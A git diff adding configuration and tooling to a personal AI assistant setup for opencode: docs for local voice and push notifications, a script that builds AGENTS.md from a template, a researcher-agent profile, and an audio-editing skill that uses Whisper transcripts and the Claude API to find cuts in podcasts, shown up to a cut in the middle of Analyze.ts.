+|------------------|-------------------| +| Question ("Where is...", "What does...") | "Checking...", "Looking up...", "Finding..." | +| Command ("Fix this", "Create that") | "Fixing...", "Creating...", "Updating..." | +| Investigation ("Why isn't...", "Debug this") | "Investigating...", "Debugging...", "Analyzing..." | +| Research ("Find out about...", "Look into...") | "Researching...", "Exploring...", "Looking into..." | + +**Examples:** +- "Where's the config file?" → "Checking the project for config files..." +- "Fix this bug" → "Fixing the null pointer in auth handler..." +- "Why isn't the API responding?" → "Investigating the API connection..." +- "Create a new component" → "Creating the new component..." + +--- + +## Workflow Invocation Notifications + +**For skills with `Workflows/` directories, use "Executing..." format:** + +``` +Executing the **WorkflowName** workflow within the **SkillName** skill... +``` + +**Examples:** +- "Executing the **GIT** workflow within the **CORE** skill..." +- "Executing the **Publish** workflow within the **Blogging** skill..." + +**NEVER announce fake workflows:** +- "Executing the file organization workflow..." - NO SUCH WORKFLOW EXISTS +- If it's not listed in a skill's Workflow Routing, DON'T use "Executing" format +- For non-workflow tasks, use context-appropriate gerund + +### The curl Pattern (Workflow-Based Skills Only) + +When executing an actual workflow file from a `Workflows/` directory: + +```bash +curl -s -X POST http://localhost:8888/notify \ + -H "Content-Type: application/json" \ + -d '{"message": "Running the WORKFLOWNAME workflow in the SKILLNAME skill to ACTION", "voice_id": "{DAIDENTITY.VOICEID}", "title": "{DAIDENTITY.NAME}"}' \ + > /dev/null 2>&1 & +``` + +**Parameters:** +- `message` - The spoken text (workflow and skill name) +- `voice_id` - ElevenLabs voice ID (default: {DAIDENTITY.NAME}'s voice) +- `title` - Display name for the notification + +--- + +## Effort Level in Voice Notifications + +**Voice phase announcements are inline curls in the Algorithm template** (defined in CLAUDE.md), not hooks. Each Algorithm phase has a `curl -s -X POST http://localhost:8888/notify` call that gets spoken. The effort level determines which curls fire: + +| Effort | Budget | Voice Curls | +|--------|--------|-------------| +| Standard | <2min | OBSERVE + VERIFY curls only | +| Extended | <8min | All phase curls | +| Advanced | <16min | All phase curls | +| Deep | <32min | All phase curls | +| Comprehensive | <120min | All phase curls | + +**Task completion voice** is handled by `StopOrchestrator.hook.ts` → `handlers/VoiceNotification.ts`, which extracts the `🗣️` line from the response and POSTs to the voice server. + +--- + +## Voice IDs + +| Agent | Voice ID | Notes | +|-------|----------|-------| +| **{DAIDENTITY.NAME}** (default) | `{DAIDENTITY.VOICEID}` | Use for most workflows | +| **Priya** (Artist) | `ZF6FPAbjXT4488VcRRnw` | Art skill workflows | + +**Full voice registry:** `~/.opencode/skills/Agents/SKILL.md` (see Named Agents) and `~/.opencode/settings.json` (daidentity.voiceId) + +--- + +## Copy-Paste Templates + +### Template A: Skills WITH Workflows + +For skills that have a `Workflows/` directory: + +```markdown +## Voice Notification + +**When executing a workflow, do BOTH:** + +1. **Send voice notification**: + ```bash + curl -s -X POST http://localhost:8888/notify \ + -H "Content-Type: application/json" \ + -d '{"message": "Running the WORKFLOWNAME workflow in the SKILLNAME skill to ACTION"}' \ + > /dev/null 2>&1 & + ``` + +2. **Output text notification**: + ``` + Running the **WorkflowName** workflow in the **SkillName** skill to ACTION... + ``` +``` + +Replace `WORKFLOWNAME`, `SKILLNAME`, and `ACTION` with actual values when executing. ACTION should be under 6 words describing what the workflow does. + +### Template B: Skills WITHOUT Workflows + +For skills that handle requests directly (no `Workflows/` directory), **do NOT include a Voice Notification section**. These skills just describe what they're doing naturally in their responses. + +If you need to indicate this explicitly: + +```markdown +## Task Handling + +This skill handles requests directly without workflows. When executing, simply describe what you're doing: +- "Let me [action]..." +- "I'll [action]..." +``` + +--- + +## Why Direct curl (Not Shell Script) + +Direct curl is: +- **More reliable** - No script execution dependencies +- **Faster** - No shell script overhead +- **Visible** - The command is explicit in the skill file +- **Debuggable** - Easy to test in isolation + +The backgrounded `&` and redirected output (`> /dev/null 2>&1`) ensure the curl doesn't block workflow execution. + +--- + +## When to Skip Notifications + +**Always skip notifications when:** +- **Conversational responses** - Greetings, acknowledgments, simple Q&A +- **Skill has no workflows** - The skill has no `Workflows/` directory +- **Direct skill handling** - SKILL.md handles request without invoking a workflow file +- **Quick utility operations** - Simple file reads, status checks +- **Sub-workflows** - When a workflow calls another workflow (avoid double notification) + +**The rule:** Only notify when actually loading and following a `.md` file from a `Workflows/` directory, or when starting significant task work. + +--- + +## External Notifications (Push, Discord) + +**Beyond voice notifications, PAI supports external notification channels:** + +### Available Channels + +| Channel | Service | Purpose | Configuration | +|---------|---------|---------|---------------| +| **ntfy** | ntfy.sh | Mobile push notifications | `settings.json → notifications.ntfy` | +| **Discord** | Webhook | Team/server notifications | `settings.json → notifications.discord` | +| **Desktop** | macOS native | Local desktop alerts | Always available | + +### Smart Routing + +Notifications are automatically routed based on event type: + +| Event | Default Channels | Trigger | +|-------|------------------|---------| +| `taskComplete` | Voice only | Normal task completion | +| `longTask` | Voice + ntfy | Task duration > 5 minutes | +| `backgroundAgent` | ntfy | Background agent completes | +| `error` | Voice + ntfy | Error in response | +| `security` | Voice + ntfy + Discord | Security alert | + +### Configuration + +Located in `~/.opencode/settings.json`: + +```json +{ + "notifications": { + "ntfy": { + "enabled": true, + "topic": "kai-[random-topic]", + "server": "ntfy.sh" + }, + "discord": { + "enabled": false, + "webhook": "https://discord.com/api/webhooks/..." + }, + "thresholds": { + "longTaskMinutes": 5 + }, + "routing": { + "taskComplete": [], + "longTask": ["ntfy"], + "backgroundAgent": ["ntfy"], + "error": ["ntfy"], + "security": ["ntfy", "discord"] + } + } +} +``` + +### ntfy.sh Setup + +1. **Generate topic**: `echo "kai-$(openssl rand -hex 8)"` +2. **Install app**: iOS App Store or Android Play Store → "ntfy" +3. **Subscribe**: Add your topic in the app +4. **Test**: `curl -d "Test" ntfy.sh/your-topic` + +Topic name acts as password - use random string for security. + +### Discord Setup + +1. Create webhook in your Discord server +2. Add webhook URL to `settings.json` +3. Set `discord.enabled: true` + +### SMS (Not Recommended) + +**SMS is impractical for personal notifications.** US carriers require A2P 10DLC campaign registration since Dec 2024, which involves: +- Brand registration + verification (weeks) +- Campaign approval + monthly fees +- Carrier bureaucracy for each number + +**Alternatives researched (Jan 2025):** + +| Option | Status | Notes | +|--------|--------|-------| +| **ntfy.sh** | ✅ RECOMMENDED | Same result (phone alert), zero hassle | +| **Textbelt** | ❌ Blocked | Free tier disabled for US due to abuse | +| **AppleScript + Messages.app** | ⚠️ Requires permissions | Works if you grant automation access | +| **Twilio Toll-Free** | ⚠️ Simpler | 5-14 day verification (vs 3-5 weeks for 10DLC) | +| **Email-to-SMS** | ⚠️ Carrier-dependent | `number@vtext.com` (Verizon), `@txt.att.net` (AT&T) | + +**Bottom line:** ntfy.sh already alerts your phone. SMS adds carrier bureaucracy for the same outcome. + +### Implementation + +The notification service is in `~/.opencode/hooks/lib/notifications.ts`: + +```typescript +import { notify, notifyTaskComplete, notifyBackgroundAgent, notifyError } from './lib/notifications'; + +// Smart routing based on task duration +await notifyTaskComplete("Task completed successfully"); + +// Explicit background agent notification +await notifyBackgroundAgent("Researcher", "Found 5 relevant articles"); + +// Error notification +await notifyError("Database connection failed"); + +// Direct channel access +await sendPush("Message", { title: "Title", priority: "high" }); +await sendDiscord("Message", { title: "Title", color: 0x00ff00 }); +``` + +--- + +## Event Log Channel (events.jsonl) + +In addition to the voice, push, and Discord channels above, PAI hooks emit structured events to `${PAI_DIR}/MEMORY/STATE/events.jsonl`. This is an append-only JSONL file where each line is a typed event (e.g., `algorithm.phase`, `work.created`, `rating.captured`, `voice.sent`). It serves as a unified observability channel that any process can consume by tailing or watching the file. + +Events are emitted via `appendEvent()` from `${PAI_DIR}/hooks/lib/event-emitter.ts`, which is synchronous and fire-and-forget. The event type system is defined in `${PAI_DIR}/hooks/lib/event-types.ts` as a TypeScript discriminated union covering 22 event interfaces. This channel is additive -- it does not replace any of the notification channels above, and hooks emit events alongside their existing state writes and notifications. + +--- + +### Design Principles + +1. **Fire and forget** - Notifications never block hook execution +2. **Fail gracefully** - Missing services don't cause errors +3. **Conservative defaults** - Avoid notification fatigue +4. **Duration-aware** - Only push for long-running tasks (>5 min) diff --git a/.opencode/PAI/Tools/BuildOpenCode.ts b/.opencode/PAI/Tools/BuildOpenCode.ts new file mode 100644 index 00000000..3846d8bd --- /dev/null +++ b/.opencode/PAI/Tools/BuildOpenCode.ts @@ -0,0 +1,141 @@ +#!/usr/bin/env bun + +/** + * BuildOpenCode.ts — Generate AGENTS.md from template + settings + * + * Reads AGENTS.md.template, resolves variables from settings.json + * and PAI/Algorithm/LATEST, writes AGENTS.md. + * + * Called by: + * - PAI installer (first install) + * - SessionStart hook (keeps fresh automatically) + * - Manual: bun PAI/Tools/BuildOpenCode.ts + */ + +import { readFileSync, writeFileSync, existsSync } from "fs"; +import { join } from "path"; +import { homedir } from "os"; + +// ─── Safe home directory resolution ─── +const HOME_DIR = process.env.HOME || process.env.USERPROFILE || homedir() || "/tmp"; +const PAI_DIR = join(HOME_DIR, ".opencode"); +const TEMPLATE_PATH = join(PAI_DIR, "AGENTS.md.template"); +const OUTPUT_PATH = join(PAI_DIR, "AGENTS.md"); +const SETTINGS_PATH = join(PAI_DIR, "settings.json"); +const ALGORITHM_DIR = join(PAI_DIR, "PAI/Algorithm"); +const LATEST_PATH = join(ALGORITHM_DIR, "LATEST"); + +// ─── Safe JSON parsing with fallback ─── + +function safeJsonParse(path: string, defaultValue: T): T { + if (!existsSync(path)) { + return defaultValue; + } + try { + const content = readFileSync(path, "utf-8"); + return JSON.parse(content) as T; + } catch (err) { + console.warn(`Warning: Failed to parse ${path}: ${err instanceof Error ? err.message : String(err)}`); + return defaultValue; + } +} + +// ─── Load current algorithm version ─── + +function getAlgorithmVersion(): string { + if (!existsSync(LATEST_PATH)) { + console.warn("⚠ PAI/Algorithm/LATEST not found, defaulting to v3.7.0"); + return "v3.7.0"; + } + const version = readFileSync(LATEST_PATH, "utf-8").trim(); + // Remove .md extension if present to avoid "v3.7.0.md.md" + return version.replace(/\.md$/i, ''); +} + +// ─── Load variables from settings.json ─── + +function loadVariables(): { variables: Record; settings: Record } { + const settings = safeJsonParse>(SETTINGS_PATH, {}); + const algoVersion = getAlgorithmVersion(); + + const variables = { + "{DAIDENTITY.NAME}": settings.daidentity?.name || "Assistant", + "{DAIDENTITY.FULLNAME}": settings.daidentity?.fullName || "Assistant", + "{DAIDENTITY.DISPLAYNAME}": settings.daidentity?.displayName || "Assistant", + "{PRINCIPAL.NAME}": settings.principal?.name || "User", + "{PRINCIPAL.TIMEZONE}": settings.principal?.timezone || "UTC", + "{{PAI_VERSION}}": settings.pai?.version || "4.0.3", + "{{ALGO_VERSION}}": algoVersion, + "{{ALGO_PATH}}": `PAI/Algorithm/${algoVersion}.md`, + }; + + return { variables, settings }; +} + +// ─── Check if rebuild is needed ─── + +export function needsRebuild(): boolean { + if (!existsSync(OUTPUT_PATH)) return true; + if (!existsSync(TEMPLATE_PATH)) return false; // no template = nothing to build + + const outputContent = readFileSync(OUTPUT_PATH, "utf-8"); + const { variables, settings } = loadVariables(); + + // Check if any template variable appears unresolved in output + for (const key of Object.keys(variables)) { + if (outputContent.includes(key)) return true; + } + + // Check if algorithm version in output matches LATEST + const algoVersion = getAlgorithmVersion(); + const algoPathPattern = /PAI\/Algorithm\/(.+?)\.md/; + const match = outputContent.match(algoPathPattern); + if (match && match[1] !== algoVersion) return true; + + // Check if DA name matches settings (reuse already parsed settings) + const daName = settings.daidentity?.name || "Assistant"; + if (!outputContent.includes(`🗣️ ${daName}:`)) return true; + + return false; +} + +// ─── Build ─── + +export function build(): { rebuilt: boolean; reason?: string } { + if (!existsSync(TEMPLATE_PATH)) { + return { rebuilt: false, reason: "No AGENTS.md.template found" }; + } + + let content = readFileSync(TEMPLATE_PATH, "utf-8"); + const { variables } = loadVariables(); + + for (const [key, value] of Object.entries(variables)) { + content = content.replaceAll(key, value); + } + + // Check if output already matches + if (existsSync(OUTPUT_PATH)) { + const existing = readFileSync(OUTPUT_PATH, "utf-8"); + if (existing === content) { + return { rebuilt: false, reason: "AGENTS.md already current" }; + } + } + + writeFileSync(OUTPUT_PATH, content); + return { rebuilt: true }; +} + +// ─── CLI entry point ─── + +if (import.meta.main) { + const result = build(); + if (result.rebuilt) { + const { variables } = loadVariables(); + console.log("✅ Built AGENTS.md from template"); + console.log(` Algorithm: ${variables["{{ALGO_VERSION}}"]}`); + console.log(` DA: ${variables["{DAIDENTITY.NAME}"]}`); + console.log(` Principal: ${variables["{PRINCIPAL.NAME}"]}`); + } else { + console.log(`ℹ ${result.reason}`); + } +} diff --git a/.opencode/skills/Agents/ClaudeResearcherContext.md b/.opencode/skills/Agents/ClaudeResearcherContext.md new file mode 100755 index 00000000..f83ab3ff --- /dev/null +++ b/.opencode/skills/Agents/ClaudeResearcherContext.md @@ -0,0 +1,112 @@ +# ClaudeResearcher Agent Context + +**Role**: Academic researcher using Claude's WebSearch. Excels at multi-query decomposition, parallel search execution, and synthesizing scholarly sources. + +**Character**: Ava Sterling - "The Strategic Sophisticate" + +**Model**: opus + +--- + +## PAI Mission + +You are an agent within **PAI** (Personal AI Infrastructure). Your work feeds the PAI Algorithm — a system that hill-climbs toward **Euphoric Surprise** (9-10 user ratings). + +**ISC Participation:** +- Your spawning prompt may reference ISC criteria (Ideal State Criteria) — these are your success metrics +- Use `TaskGet` to read criteria assigned to you and understand what "done" means +- Use `TaskUpdate` to mark criteria as completed with evidence +- Use `TaskList` to see all criteria and overall progress + +**Timing Awareness:** +Your prompt includes a `## Scope` section defining your time budget: +- **FAST** → Under 500 words, direct answer only +- **STANDARD** → Focused work, under 1500 words +- **DEEP** → Comprehensive analysis, no word limit + +**Quality Bar:** Not just correct — surprisingly excellent. + +**Researcher-Specific:** Your findings inform the OBSERVE phase of the Algorithm. Quality research leads to better ISC criteria, which leads to better outcomes. The Parser skill can extract structured data from URLs and documents to enhance your analysis. + +--- + +## Required Knowledge (Pre-load from Skills) + +### Core Foundations +- **PAI/CoreStack.md** - Stack preferences and tooling +- **PAI/CONSTITUTION.md** - Constitutional principles + +### Research Standards +- **skills/Research/SKILL.md** - Research skill workflows and methodologies +- **skills/Research/Standards.md** - Research quality standards and citation practices + +--- + +## Task-Specific Knowledge + +Load these dynamically based on task keywords: + +- **Academic/Scholarly** → skills/Research/Workflows/AcademicResearch.md +- **Multi-query** → skills/Research/Workflows/QueryDecomposition.md +- **Synthesis** → skills/Research/Workflows/SourceSynthesis.md +- **Strategic** → skills/Research/Workflows/StrategicAnalysis.md + +--- + +## Key Research Principles (from PAI) + +These are already loaded via PAI or Research skill - reference, don't duplicate: + +- Multi-query decomposition (break complex queries into searchable sub-questions) +- Parallel search execution (run multiple searches concurrently for comprehensive coverage) +- Scholarly source synthesis (academic rigor, proper citations) +- Strategic framing (see second-order effects, think three moves ahead) +- Evidence-based analysis (facts support conclusions) +- TypeScript > Python (we hate Python) + +--- + +## Research Methodology + +**Claude's WebSearch Strengths:** +- Deep academic and scholarly source access +- Multi-query parallel execution +- Comprehensive coverage through query decomposition +- Citation and source tracking + +**Research Process:** +1. Decompose query into sub-questions +2. Execute parallel searches for comprehensive coverage +3. Synthesize findings from scholarly sources +4. Frame strategically (consider second-order effects) +5. Provide evidence-based conclusions with citations + +**Character Voice (Ava Sterling):** +- Strategic long-term thinking (sees three moves ahead) +- Sophisticated analysis (meta-level patterns) +- Measured authoritative presence +- Cross-domain systems thinking +- "If we consider the second-order effects..." + +--- + +## Output Format + +``` +## Research Report + +### Query Analysis +[How the query was decomposed into searchable sub-questions] + +### Findings +[Synthesis of sources with strategic framing] + +### Strategic Insights +[Second-order effects, three-moves-ahead thinking] + +### Evidence & Citations +[Sources supporting conclusions] + +### Recommendations +[Strategic next steps based on findings] +``` diff --git a/.opencode/skills/AudioEditor/SKILL.md b/.opencode/skills/AudioEditor/SKILL.md new file mode 100644 index 00000000..a07269e2 --- /dev/null +++ b/.opencode/skills/AudioEditor/SKILL.md @@ -0,0 +1,107 @@ +--- +name: AudioEditor +description: AI-powered audio/video editing — transcription, intelligent cut detection, automated editing with crossfades, and optional cloud polish. USE WHEN clean audio, edit audio, remove filler words, clean podcast, remove ums, fix audio, cut dead air, polish audio, clean recording, transcribe and edit. +--- + +# AudioEditor + +AI-powered audio/video editing — transcription, intelligent cut detection, automated editing with crossfades, and optional cloud polish. + +## Customization + +**Before executing, check for user customizations at:** +`~/.opencode/PAI/USER/SKILLCUSTOMIZATIONS/AudioEditor/` + +If this directory exists, load and apply any PREFERENCES.md, configurations, or resources found there. These override default behavior. If the directory does not exist, proceed with skill defaults. + +## Voice Notification + +**You MUST send this notification BEFORE doing anything else when this skill is invoked.** + +1. **Send voice notification**: + ```bash + curl -s -X POST http://localhost:8888/notify \ + -H "Content-Type: application/json" \ + -d '{"message": "Running the WORKFLOWNAME workflow in the AudioEditor skill to ACTION"}' \ + > /dev/null 2>&1 & + ``` + +2. **Output text notification**: + ``` + Running the **WorkflowName** workflow in the **AudioEditor** skill to ACTION... + ``` + +**This is not optional. Execute this curl command immediately upon skill invocation.** + +## Workflow Routing + +| Workflow | Trigger | File | +|----------|---------|------| +| **Clean** | "clean audio", "edit audio", "remove filler words", "clean podcast", "remove ums", "cut dead air", "polish audio" | `Workflows/Clean.md` | + +## Pipeline Architecture + +``` +Audio Input + | +[Transcribe] Whisper word-level timestamps (insanely-fast-whisper on MPS) + | +[Analyze] Claude classifies each segment: + | KEEP / CUT_FILLER / CUT_FALSE_START / CUT_EDIT_MARKER / CUT_STUTTER / CUT_DEAD_AIR + | Distinguishes rhetorical emphasis from accidental repetition + | +[Edit] ffmpeg executes cuts: + | - 40ms qsin crossfades at every edit point + | - Room tone extraction and gap filling + | - Breath attenuation (50% volume, not removal) + | +[Polish] (optional) Cleanvoice API final pass: + - Mouth sound removal + - Remaining filler detection + - Loudness normalization + +Output: cleaned MP3/WAV +``` + +## Tools + +| Tool | Command | Purpose | +|------|---------|---------| +| **Transcribe** | `bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Transcribe.ts ` | Word-level transcription via Whisper | +| **Analyze** | `bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Analyze.ts ` | LLM-powered edit classification | +| **Edit** | `bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Edit.ts ` | Execute cuts with crossfades + room tone | +| **Polish** | `bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Polish.ts ` | Cleanvoice API cloud polish | +| **Pipeline** | `bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Pipeline.ts [--polish]` | Full end-to-end pipeline | + +## API Keys Required + +| Service | Env Var | Where to Get | +|---------|---------|-------------| +| Anthropic (for analyze step) | `ANTHROPIC_API_KEY` | Already set via Claude Code | +| Cleanvoice (for polish step, optional) | `CLEANVOICE_API_KEY` | cleanvoice.ai Dashboard Settings API Key | + +## Examples + +**Example 1: Clean a podcast recording** +``` +User: "clean up the audio on this podcast file" +-> Invokes Clean workflow +-> Runs full pipeline: transcribe -> analyze -> edit +-> Outputs cleaned MP3 with filler words, stutters, and dead air removed +``` + +**Example 2: Preview edits before applying** +``` +User: "show me what edits you'd make to this recording" +-> Invokes Clean workflow with --preview flag +-> Transcribes and analyzes, shows proposed edits without modifying audio +-> User reviews edit list, then runs again to apply +``` + +**Example 3: Aggressive clean with cloud polish** +``` +User: "aggressively clean this audio and polish it" +-> Invokes Clean workflow with --aggressive --polish flags +-> Tighter thresholds for filler detection +-> Cleanvoice API pass for mouth sounds and normalization +``` diff --git a/.opencode/skills/AudioEditor/Tools/Analyze.help.md b/.opencode/skills/AudioEditor/Tools/Analyze.help.md new file mode 100644 index 00000000..93ce360a --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Analyze.help.md @@ -0,0 +1,46 @@ +# Analyze.ts + +LLM-powered edit classification using Claude. Reads a word-level transcript and classifies segments for cutting. + +## Usage + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Analyze.ts [--output ] [--aggressive] +``` + +## Options + +| Flag | Description | +|------|-------------| +| `--output ` | Specify output JSON path (default: `.edits.json`) | +| `--aggressive` | Tighter thresholds: cuts single filler words, 1.5s pauses, more word repetition | + +## Classification Types + +| Type | Description | +|------|-------------| +| `CUT_EDIT_MARKER` | Speaker says "edit" as a verbal cue (highest priority) | +| `CUT_STUTTER` | Unintentional word repetition ("the the", "I I") | +| `CUT_FALSE_START` | Abandoned sentence restart | +| `CUT_SELF_CORRECTION` | Speaker corrects themselves | +| `CUT_FILLER` | Standalone filler words ("um", "uh", "ah") | +| `CUT_DEAD_AIR` | Long pauses (>5s standard, >3s aggressive) | + +## Output Format + +```json +[ + { + "type": "CUT_FILLER", + "start": 12.5, + "end": 13.1, + "reason": "Standalone 'um' hesitation", + "context": "and um we decided to", + "confidence": 0.9 + } +] +``` + +## Requirements + +- `ANTHROPIC_API_KEY` environment variable diff --git a/.opencode/skills/AudioEditor/Tools/Analyze.ts b/.opencode/skills/AudioEditor/Tools/Analyze.ts new file mode 100644 index 00000000..6bc4098e --- /dev/null +++ b/.opencode/skills/AudioEditor/Tools/Analyze.ts @@ -0,0 +1,389 @@ +#!/usr/bin/env bun +/** + * Analyze.ts — LLM-powered edit classification + * + * Reads a word-level transcript and uses Claude to classify segments as: + * KEEP, CUT_FILLER, CUT_FALSE_START, CUT_EDIT_MARKER, CUT_STUTTER, CUT_DEAD_AIR + * + * Distinguishes rhetorical emphasis from accidental repetition. + * + * Usage: bun Analyze.ts [--output ] [--aggressive] + * Output: JSON edit decision list at .edits.json + */ + +import { existsSync, readFileSync } from "fs"; +import { basename, dirname, join, resolve } from "path"; +import { homedir } from "os"; + +// ============================================================================ +// Environment Loading — keys from ~/.config/PAI/.env +// ============================================================================ + +function loadEnv(): void { + const envPath = process.env.PAI_CONFIG_DIR + ? resolve(process.env.PAI_CONFIG_DIR, ".env") + : resolve(homedir(), ".config/PAI/.env"); + try { + const content = readFileSync(envPath, "utf-8"); + for (const line of content.split("\n")) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith("#")) continue; + const eqIndex = trimmed.indexOf("="); + if (eqIndex === -1) continue; + const key = trimmed.slice(0, eqIndex).trim(); + let value = trimmed.slice(eqIndex + 1).trim(); + if ( + (value.startsWith('"') && value.endsWith('"')) || + (value.startsWith("'") && value.endsWith("'")) + ) { + value = value.slice(1, -1); + } + if (!process.env[key]) { + process.env[key] = value; + } + } + } catch { + // Silently continue if .env doesn't exist + } +} + +// Only load env when running as main script (not when imported as module) +if (import.meta.main) { + loadEnv(); +} + +interface Chunk { + text: string; + timestamp: [number, number | null]; +} + +interface EditDecision { + type: string; + start: number; + end: number; + reason: string; + context: string; + confidence: number; +} + +// ============================================================================ +// Main analysis logic +// ============================================================================ + +async function main(): Promise { + const args = process.argv.slice(2); + const inputFile = args.find((a) => !a.startsWith("--")); + const outputFlag = args.indexOf("--output"); + const outputPath = outputFlag !== -1 ? args[outputFlag + 1] : undefined; + const aggressive = args.includes("--aggressive"); + + if (!inputFile) { + console.error("Usage: bun Analyze.ts [--output ] [--aggressive]"); + throw new Error("Missing input file"); + } + + if (!existsSync(inputFile)) { + console.error(`File not found: ${inputFile}`); + throw new Error("Input file not found"); + } + + const apiKey = process.env.ANTHROPIC_API_KEY; + if (!apiKey) { + console.error("ANTHROPIC_API_KEY not found. Set it in ~/.config/PAI/.env"); + throw new Error("Missing ANTHROPIC_API_KEY"); + } + + // FIX: Only apply one replacement - check for .transcript.json first, then .json + let outFile: string; + if (outputPath) { + outFile = outputPath; + } else if (inputFile.endsWith(".transcript.json")) { + outFile = inputFile.replace(/\.transcript\.json$/, ".edits.json"); + } else { + outFile = inputFile.replace(/\.json$/, ".edits.json"); + } + + console.log(`Analyzing: ${inputFile}`); + console.log(`Mode: ${aggressive ? "aggressive" : "standard"}`); + + // Load transcript + const transcript = JSON.parse(await Bun.file(inputFile).text()); + const chunks: Chunk[] = transcript.chunks || []; + + if (chunks.length === 0) { + console.error("No word chunks found in transcript"); + throw new Error("Empty transcript"); + } + + // ... rest of the analysis logic (Phases 1-3) remains the same ... + // Phase 1: Detect long pauses + const pauseEdits: EditDecision[] = []; + const pauseThreshold = aggressive ? 3.0 : 5.0; + const keepPause = 1.0; + + for (let i = 1; i < chunks.length; i++) { + const prevEnd = chunks[i - 1].timestamp[1] || chunks[i - 1].timestamp[0]; + const currStart = chunks[i].timestamp[0]; + const gap = currStart - prevEnd; + + if (gap > pauseThreshold) { + const cutStart = prevEnd + keepPause; + const cutEnd = currStart; + if (cutEnd - cutStart > 0.5) { + const ctx = chunks + .slice(Math.max(0, i - 3), i + 3) + .map((c) => c.text.trim()) + .join(" "); + pauseEdits.push({ + type: "CUT_DEAD_AIR", + start: Math.round(cutStart * 100) / 100, + end: Math.round(cutEnd * 100) / 100, + reason: `${gap.toFixed(1)}s pause (keeping ${keepPause}s)`, + context: ctx, + confidence: 1.0, + }); + } + } + } + + console.log(`Found ${pauseEdits.length} long pauses (>${pauseThreshold}s)`); + + // Phase 2: Build windowed transcript for LLM analysis + const WINDOW_SIZE = 3000; + const OVERLAP = 200; + const allEdits: EditDecision[] = [...pauseEdits]; + + function buildWindow(startIdx: number, endIdx: number): string { + const lines: string[] = []; + let currentLine = ""; + let lineStartTime = chunks[startIdx].timestamp[0]; + + for (let i = startIdx; i < endIdx && i < chunks.length; i++) { + const word = chunks[i].text; + currentLine += word; + + const wordCount = currentLine.trim().split(/\s+/).length; + if (wordCount >= 15 || i === endIdx - 1 || i === chunks.length - 1) { + const endTime = chunks[i].timestamp[1] || chunks[i].timestamp[0]; + lines.push(`[${formatTime(lineStartTime)}-${formatTime(endTime)}] ${currentLine.trim()}`); + currentLine = ""; + if (i + 1 < chunks.length) { + lineStartTime = chunks[i + 1].timestamp[0]; + } + } + } + + return lines.join("\n"); + } + + function formatTime(seconds: number): string { + const m = Math.floor(seconds / 60); + const s = seconds % 60; + return `${m}:${s.toFixed(2).padStart(5, "0")}`; + } + + const aggressiveInstructions = aggressive + ? `\n- Be MORE aggressive: cut single filler words like isolated "like", "right", "so" when used as verbal tics\n- Cut pauses longer than 1.5 seconds\n- Cut any word repetition that isn't clearly emphatic` + : `\n- Be CONSERVATIVE: only cut clear mistakes, not natural speech patterns\n- Keep rhetorical devices: parallel structures, lists, emphatic repetition\n- When in doubt, classify as KEEP`; + + const systemPrompt = `You are an expert audio editor analyzing a podcast transcript to identify sections that should be cut. The transcript has timestamps in [MM:SS.ss-MM:SS.ss] format. + +Classify problematic sections. Return a JSON array of edits. Each edit has: +- "type": one of CUT_FILLER, CUT_FALSE_START, CUT_EDIT_MARKER, CUT_STUTTER, CUT_SELF_CORRECTION +- "start": start timestamp in seconds (decimal) +- "end": end timestamp in seconds (decimal) +- "reason": brief description +- "context": the problematic text +- "confidence": 0.0-1.0 + +## What to CUT + +**CUT_EDIT_MARKER**: Speaker says "edit" as a verbal cue to mark cut points. Cut the word "edit" and any surrounding pause. This is the HIGHEST PRIORITY — these are explicit instructions from the speaker to cut here. + +**CUT_STUTTER**: Unintentional word repetition like "the the", "I I", "with, with". NOT emphatic repetition like "very very important" or "many many people". + +**CUT_FALSE_START**: Speaker starts a sentence, abandons it, and restarts. Example: "So the thing is— so what I was saying is..." — cut "So the thing is—". + +**CUT_SELF_CORRECTION**: Speaker says something wrong then corrects. Example: "Not distill it. Well, they actually..." — cut "Not distill it." + +**CUT_FILLER**: Filler word clusters: "um", "uh", "ah". Only cut when they are standalone hesitations, not when embedded naturally in speech flow. + +## What to KEEP + +- Intentional parallel structures: "Here's the tools. Here's the decisions. Here's the sign-offs." +- Emphatic repetition: "massive, massive reduction", "really, really important" +- Rhetorical lists: "You're the best trainer. You're the best coach." +- Natural discourse markers in flowing speech +- "blah blah blah" (intentional shorthand) +- "I mean" when used naturally in a flowing sentence${aggressiveInstructions} + +## Output Format + +Return ONLY a JSON array. No markdown, no explanation. Example: +[{"type":"CUT_EDIT_MARKER","start":233.68,"end":237.22,"reason":"Verbal edit marker","context":"edit. We're talking about","confidence":0.95}] + +If no edits found in a section, return: []`; + + // Process in windows + const totalWindows = Math.ceil(chunks.length / (WINDOW_SIZE - OVERLAP)); + console.log(`Processing ${chunks.length} words in ${totalWindows} windows...`); + + // Track if any window had a critical error + let hadWindowError = false; + + for (let windowStart = 0; windowStart < chunks.length; windowStart += WINDOW_SIZE - OVERLAP) { + const windowEnd = Math.min(windowStart + WINDOW_SIZE, chunks.length); + const windowNum = Math.floor(windowStart / (WINDOW_SIZE - OVERLAP)) + 1; + const windowText = buildWindow(windowStart, windowEnd); + + const startTime = chunks[windowStart].timestamp[0]; + const endTime = chunks[Math.min(windowEnd - 1, chunks.length - 1)].timestamp[1] || + chunks[Math.min(windowEnd - 1, chunks.length - 1)].timestamp[0]; + + process.stdout.write( + ` Window ${windowNum}/${totalWindows} [${formatTime(startTime)}-${formatTime(endTime)}]...` + ); + + try { + const response = await fetch("https://api.anthropic.com/v1/messages", { + method: "POST", + headers: { + "Content-Type": "application/json", + "x-api-key": apiKey, + "anthropic-version": "2023-06-01", + }, + body: JSON.stringify({ + model: "claude-sonnet-4-20250514", + max_tokens: 4096, + system: systemPrompt, + messages: [ + { + role: "user", + content: `Analyze this transcript section and return the JSON array of edits:\n\n${windowText}`, + }, + ], + }), + }); + + if (!response.ok) { + const err = await response.text(); + console.error(`\n API error: ${response.status} ${err}`); + hadWindowError = true; + continue; + } + + const data = (await response.json()) as any; + const text = data.content?.[0]?.text || "[]"; + + // Parse JSON from response (handle potential markdown wrapping) + let edits: EditDecision[]; + try { + const jsonMatch = text.match(/\[[\s\S]*\]/); + edits = jsonMatch ? JSON.parse(jsonMatch[0]) : []; + } catch (parseErr) { + console.error(` parse error: ${parseErr instanceof Error ? parseErr.message : 